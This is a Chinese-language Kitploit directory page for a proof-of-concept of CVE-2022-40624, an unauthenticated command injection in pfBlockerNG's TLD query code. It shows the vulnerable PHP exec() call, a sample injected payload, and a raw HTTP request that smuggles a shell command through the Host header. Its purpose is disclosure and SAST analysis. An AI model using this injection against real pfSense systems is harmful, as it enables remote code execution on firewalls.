Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
pfBlockerNg-CVE-2022-40624 — 针对 pfBlockerNg 中 DNSBL TLD 查询函数未净化输入导致未认证远程代码执行的 PoC 漏洞利用程序,附带 SAST 检测分析。 | Kitploit
工具/GitHubGitHub/dhammon/pfblockerng-cve-2022-40624
漏洞分析代码分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育
GitHubdhammon/pfblockerng-cve-2022-40624

pfBlockerNg-CVE-2022-40624

针对 pfBlockerNg 中 DNSBL TLD 查询函数未净化输入导致未认证远程代码执行的 PoC 漏洞利用程序,附带 SAST 检测分析。

查看仓库
223年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

pfBlockerNg-CVE-2022-40624

背景

pfBlockerNG 是 pfBlocker 的下一代版本,具有以下功能:

  1. 将 IPv4/v6 列表源管理为“拒绝、允许或匹配”格式。
  2. 由 MaxMind Inc. 提供的 GeoIP 数据库(GeoLite2 免费版)。
  3. 去重、抑制和信誉增强。
  4. 支持从多种列表格式下载。
  5. 对 Proofpoint ET IQRisk IP 信誉威胁源的进阶集成。
  6. 通过 Unbound DNS 解析器进行域名(DNSBL)屏蔽。

https://docs.netgate.com/pfsense/en/latest/packages/pfblocker.html

受影响版本

pfBlockerNg <2.1.4_27

漏洞

未经验证的远程代码执行(RCE)

index.php 中 TLD Block 部分的查询将来自 HEADER Host 源的未经过净化/转义的用户输入 d_query 传入了 PHP exec 函数接收器。

exec("/usr/bin/grep -l '^{$d_query}$' /var/db/pfblockerng/dnsblalias/DNSBL_TLD", $match);

/pfblockerng/www/index.php

root@kitploit:~
// Query for a TLD Block
if (empty($pfb_query)) {
	$idparts	= explode('.', $query);
	$idcnt		= (count($idparts) -1);

	for ($i=1; $i <= $idcnt; $i++) {
		$d_query = implode('.', array_slice($idparts, -$i, $i, TRUE));
		exec("/usr/bin/grep -l '^{$d_query}$' /var/db/pfblockerng/dnsblalias/DNSBL_TLD", $match);

		if (!empty($match[0])) {
			$pfb_query = 'DNSBL_TLD';
			break;
		}
	}
}

利用

需要 HTTP 访问 pfsense Web 控制台 示例载荷:' *; sleep 5; '

POC 请求:

root@kitploit:~
GET /pfblockerng/www/index.php HTTP/1.1
Host: test.test2' *; sleep 5; '
Content-Length: 2

灵感

我喜爱 pfBlockerNg,并受到 Di r00t 最近发布的 CVE-2022-31814 及其精彩文章 https://www.ihteam.net/advisory/pfblockerng-unauth-rce-vulnerability/ 的启发,同时好奇 Snyk 静态应用安全测试(SAST)工具是否能检测出该漏洞。因此我下载了相应的 index.php 2.1.4_26 版本文件,并对其运行了 Snyk Code。果然,Snyk 检测到了该漏洞,并且在仅几行之后还报告了另一个类似问题。

下载工具